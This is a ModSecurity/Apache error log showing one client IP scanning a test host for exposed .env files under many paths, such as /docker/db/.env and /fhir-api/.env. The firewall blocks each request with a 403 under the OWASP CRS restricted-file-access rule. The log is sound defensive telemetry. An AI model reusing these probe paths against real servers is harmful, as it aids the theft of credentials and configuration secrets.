[Wed Feb 25 06:05:06.809856 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1gAAAAA&quot;]
[Wed Feb 25 06:05:06.846961 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withpostgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1wAAAAA&quot;]
[Wed Feb 25 06:05:06.847247 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1wAAAAA&quot;]
[Wed Feb 25 06:05:06.848273 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia1wAAAAA&quot;]
[Wed Feb 25 06:05:06.873200 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2AAAAAA&quot;]
[Wed Feb 25 06:05:06.873463 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2AAAAAA&quot;]
[Wed Feb 25 06:05:06.873632 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2AAAAAA&quot;]
[Wed Feb 25 06:05:06.913116 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2QAAAAA&quot;]
[Wed Feb 25 06:05:06.913380 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2QAAAAA&quot;]
[Wed Feb 25 06:05:06.913546 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2QAAAAA&quot;]
[Wed Feb 25 06:05:06.965070 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fedex/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaQAAAAc&quot;]
[Wed Feb 25 06:05:06.965358 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaQAAAAc&quot;]
[Wed Feb 25 06:05:06.965553 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fedex/.env&quot;] [unique_id &quot;aZ6DAov6AM5Bs3q_JQDYaQAAAAc&quot;]
[Wed Feb 25 06:05:06.996954 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2gAAAAA&quot;]
[Wed Feb 25 06:05:06.997241 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2gAAAAA&quot;]
[Wed Feb 25 06:05:06.997430 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ6DAmXxsr5IXP-ltRia2gAAAAA&quot;]
[Wed Feb 25 06:05:07.027697 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/examples/compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia2wAAAAA&quot;]
[Wed Feb 25 06:05:07.027971 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia2wAAAAA&quot;]
[Wed Feb 25 06:05:07.028141 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/examples/compose/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia2wAAAAA&quot;]
[Wed Feb 25 06:05:07.054572 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fhir-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYagAAAAc&quot;]
[Wed Feb 25 06:05:07.054866 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYagAAAAc&quot;]
[Wed Feb 25 06:05:07.055057 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fhir-api/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYagAAAAc&quot;]
[Wed Feb 25 06:05:07.103476 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/postgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3AAAAAA&quot;]
[Wed Feb 25 06:05:07.103763 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3AAAAAA&quot;]
[Wed Feb 25 06:05:07.103950 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/postgres/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3AAAAAA&quot;]
[Wed Feb 25 06:05:07.161664 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYawAAAAc&quot;]
[Wed Feb 25 06:05:07.161961 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYawAAAAc&quot;]
[Wed Feb 25 06:05:07.162160 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYawAAAAc&quot;]
[Wed Feb 25 06:05:07.197780 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fileserver/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbAAAAAc&quot;]
[Wed Feb 25 06:05:07.198061 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbAAAAAc&quot;]
[Wed Feb 25 06:05:07.198258 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fileserver/.env&quot;] [unique_id &quot;aZ6DA4v6AM5Bs3q_JQDYbAAAAAc&quot;]
[Wed Feb 25 06:05:07.223711 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/webdav/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3QAAAAA&quot;]
[Wed Feb 25 06:05:07.224014 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/webdav/.env&quot;] [unique_id &quot;aZ6DA2Xxsr5IXP-ltRia3QAAAAA&quot;]
